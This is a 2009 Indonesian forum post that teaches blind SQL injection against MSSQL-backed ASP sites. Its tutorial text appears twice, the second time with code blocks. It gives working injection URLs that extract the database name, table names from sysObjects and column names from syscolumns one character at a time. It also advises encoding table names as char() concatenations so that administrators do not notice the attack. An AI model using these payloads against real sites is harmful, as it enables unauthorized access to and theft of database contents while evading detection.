Season 2 < bLiND Sql InJEction >
Posted: Sun Jun 14, 2009 7:40 am
nah di seasons kedua ini saya akan memberikan pelajaran tentang tutorial blind sql injection
langsung ke pembelajaran aja lha...
Dalam beberapa kasus, jika Menggunakan metode normal sql injection tidak berfungsi. Maka blind sql injection adalah metode lain yang dapat membantu kamu.
Cara Mentest Vulnerable sites di Blind Sql Injection
Kita beranggapan bahwa web http://www.example.com/page.asp?id=1 adalah normal url untuk membuka web.
Namun silahkan kita coba inject seperti ini
Jika tampilan web dari cara tadi berbeda dengan tampilan sebelum di beri perintah di belakang tadi, maka ini akan menjadi Suatu hal yang baik untuk kita.
Mungkin websites itu terdapat blind sql injection vulnerability. Ketika kita menginput "id=1 and 1=1" dan kondisi web masih normal dan respon dari web server masih normal. Tapi ketika kita menginput "id=1 and 1=2" dan kondisi web menjadi berubah maka web tersebut adalah web blind sql injection
Menentukan data melalui SQL Injection Blind
Dengan menggunakan blind sql injection teknik, kita akan menggunakan waktu yang lebih lama daripada normal injection.
kita dapat memperoleh hanya satu karakter sambil mengirimkan beberapa permintaan ke server.
saya akan memberikan contoh querying karakter pertama dari nama database.
Kita berasumsi bahwa data nama anggota. Oleh karena itu, karakter pertama adalah "m"
ASCII yang nilainya 109. (Pada tahap ini, saya menganggap bahwa anda tahu kode ASCII)
Ok, pertama-tama, kita harus tahu bahwa hasil dari permintaan hanya ada 2 bentuk.
Langkah berikutnya adalah terserah kalian, kalian mungkin mempunyai ide yang berbeda dari ide saya untuk memilih kode ASCII untuk menguji query.
Dalam situasi ini, hasilnya akan berlaku hasil pencarian seperti http://www.example.com/page.asp?id=1 and 1 = 1
(karena karakter pertama dari nama database adalah "m" yang ASCII kode 109). Kemudian, kita coba
Itu pasti bahwa hasilnya akan seperti http://www.example.com/page.asp?id=1 and 1 = 2 (karena 109 benar-benar kurang dari 120).
Kemudian kita coba
Hasilnya adalah hasil query yang valid, dengan nilai ASCII karakter pertama dari nama database adalah antara 105 dan 120.
kita akan mencoba
kita melihat bahwa karakter pertama dari nama database ascii memiliki nilai yang lebih besar dari 108
Tetapi tidak lebih dari 109. Dengan demikian, kita dapat menyimpulkan bahwa nilai ASCII adalah sama dengan 109.
kamu dapat membuktikannya dengan:
dan saya yakin bahwa hasilnya sama seperti hasil http://www.target.com/page.php?id=1 and 1 = 1
Sisanya yang perlu kamu lakukan adalah untuk memanipulasi beberapa permintaan untuk mengumpulkan informasi yang kita sukai.
Dalam tutorial ini, saya mengajukan beberapa contoh query untuk mencari nama tabel dan kolom dalam database.
Eksploitasi Tabel permintaan untuk mendapatkan nama
Untuk mendapatkan nama tabel, kita dapat menggunakan metode di atas untuk mendapatkan karakter dari setiap nama tabel.
Satu-satunya hal yang kita lakukan adalah untuk mengubah query untuk mengambil nama tabel dari database saat ini.
Sebagai MSSQL tidak ada batas perintah. Dengan demikian, permintaan agak sedikit sulit.
Permintaan di atas digunakan untuk menentukan karakter pertama pertama di tabel database saat ini. Jika kita ingin menemukan kedua karakter pertama dari tabel,
Dapat kita lakukan dengan permintaan berikut:
saya mengubah substring dari kedua parameter fungsi 1-2 untuk menentukan pilihan posisi karakter dalam tabel nama.
Oleh karena itu, jika kita ingin menentukan posisi lainnya, saya hanya perlu mengubah parameter kedua dari fungsi substring.
Dalam kasus lainnya, kita dapat menemukan tabel lainnya dengan mengubah nama yang kedua pilih
Dari "SELECT TOP 1" menjadi "SELECT TOP 2", "SELECT TOP 3" dan seterusnya. misalnya,
Permintaan tersebut akan menentukan karakter pertama dari kedua nama tabel di database saat ini.
Eksploitasi perintah untuk mendapatkan nama Kolom
Setelah kita memperoleh table names, selanjutnya target informasi adalah column names.
Untuk menghindari agar kita tidak ketauan sama admin, kamu harus mengubah 'tablename'
Menjadi bentuk concatenating char () perintah. misalnya, jika tabel bernama 'user',
ketika kita menambahkan 'user' dalam pencariannya, 'mungkin akan ketauan admin dan tidak dapat mensearch table user.
Untuk Solusinya adalah mengubah 'user' untuk char (117) + char (115) + char (101) + char (114).
Jadi, di mana permintaan perubahan dari cluase "Di mana nama = 'User'" menjadi "Di mana nama = char (117) + char (115) + char (101) + char (114)".
Dalam hal ini, kita dapat menghindari ketaun oleh admin. Dari hasil di atas permintaan pertama adalah karakter pertama dari nama kolom tabel yang spesifik.
Bila kita ingin menemukan kedua karakter pertama kolom, kita dapat menggunakan metode yang sama seperti mendapatkan tabel nama, dengan mengubah parameter yang kedua dari
Fungsi substring.
Perintah di atas digunakan untuk menentukan kedua karakter pertama nama kolom dalam tabel yang spesifik.
Dalam hal penentuan kolom lainnya, yang dapat kita lakukan dengan mengubah nilai px dari 1 ke 2,3,4, dan sebagainya. seperti
Karakter pertama dari kedua kolom nama tabel tertentu dapat ditentukan oleh perintah di atas.
Sekian Pembelajaran Pada Season Sql Injection
langsung ke pembelajaran aja lha...
Dalam beberapa kasus, jika Menggunakan metode normal sql injection tidak berfungsi. Maka blind sql injection adalah metode lain yang dapat membantu kamu.
Cara Mentest Vulnerable sites di Blind Sql Injection
Kita beranggapan bahwa web http://www.example.com/page.asp?id=1 adalah normal url untuk membuka web.
Namun silahkan kita coba inject seperti ini
Code: Select all
http://www.example.com/page.asp?id=1 and 1=1
dan
http://www.example.com/page.asp?id=1 and 1=2
Mungkin websites itu terdapat blind sql injection vulnerability. Ketika kita menginput "id=1 and 1=1" dan kondisi web masih normal dan respon dari web server masih normal. Tapi ketika kita menginput "id=1 and 1=2" dan kondisi web menjadi berubah maka web tersebut adalah web blind sql injection
Menentukan data melalui SQL Injection Blind
Dengan menggunakan blind sql injection teknik, kita akan menggunakan waktu yang lebih lama daripada normal injection.
kita dapat memperoleh hanya satu karakter sambil mengirimkan beberapa permintaan ke server.
saya akan memberikan contoh querying karakter pertama dari nama database.
Kita berasumsi bahwa data nama anggota. Oleh karena itu, karakter pertama adalah "m"
ASCII yang nilainya 109. (Pada tahap ini, saya menganggap bahwa anda tahu kode ASCII)
Ok, pertama-tama, kita harus tahu bahwa hasil dari permintaan hanya ada 2 bentuk.
Code: Select all
1. Valid hasil pencarian seperti ini http://www.example.com/page.asp?id=1 and 1 = 1
2. Invalid hasil pencarian seperti ini http://www.example.com/page.asp?id=1 and 1 = 2
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
(karena karakter pertama dari nama database adalah "m" yang ASCII kode 109). Kemudian, kita coba
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120
Kemudian kita coba
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105
kita akan mencoba
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108 ===> valid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>109 ===> invalid query result
Tetapi tidak lebih dari 109. Dengan demikian, kita dapat menyimpulkan bahwa nilai ASCII adalah sama dengan 109.
kamu dapat membuktikannya dengan:
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL (ASCII (SUBSTRING (Cast ((SELECT LOWER (db_name (0))) AS varchar (8000)), 1,1)), 0 ) = 109.
Sisanya yang perlu kamu lakukan adalah untuk memanipulasi beberapa permintaan untuk mengumpulkan informasi yang kita sukai.
Dalam tutorial ini, saya mengajukan beberapa contoh query untuk mencari nama tabel dan kolom dalam database.
Eksploitasi Tabel permintaan untuk mendapatkan nama
Untuk mendapatkan nama tabel, kita dapat menggunakan metode di atas untuk mendapatkan karakter dari setiap nama tabel.
Satu-satunya hal yang kita lakukan adalah untuk mengubah query untuk mengambil nama tabel dari database saat ini.
Sebagai MSSQL tidak ada batas perintah. Dengan demikian, permintaan agak sedikit sulit.
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)>97
Dapat kita lakukan dengan permintaan berikut:
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),2,1)),0)>97
Oleh karena itu, jika kita ingin menentukan posisi lainnya, saya hanya perlu mengubah parameter kedua dari fungsi substring.
Dalam kasus lainnya, kita dapat menemukan tabel lainnya dengan mengubah nama yang kedua pilih
Dari "SELECT TOP 1" menjadi "SELECT TOP 2", "SELECT TOP 3" dan seterusnya. misalnya,
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
AS varchar(8000)),1,1)),0)=97
Eksploitasi perintah untuk mendapatkan nama Kolom
Setelah kita memperoleh table names, selanjutnya target informasi adalah column names.
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97
Menjadi bentuk concatenating char () perintah. misalnya, jika tabel bernama 'user',
ketika kita menambahkan 'user' dalam pencariannya, 'mungkin akan ketauan admin dan tidak dapat mensearch table user.
Untuk Solusinya adalah mengubah 'user' untuk char (117) + char (115) + char (101) + char (114).
Jadi, di mana permintaan perubahan dari cluase "Di mana nama = 'User'" menjadi "Di mana nama = char (117) + char (115) + char (101) + char (114)".
Dalam hal ini, kita dapat menghindari ketaun oleh admin. Dari hasil di atas permintaan pertama adalah karakter pertama dari nama kolom tabel yang spesifik.
Bila kita ingin menemukan kedua karakter pertama kolom, kita dapat menggunakan metode yang sama seperti mendapatkan tabel nama, dengan mengubah parameter yang kedua dari
Fungsi substring.
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97
Dalam hal penentuan kolom lainnya, yang dapat kita lakukan dengan mengubah nilai px dari 1 ke 2,3,4, dan sebagainya. seperti
Code: Select all
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97
Sekian Pembelajaran Pada Season Sql Injection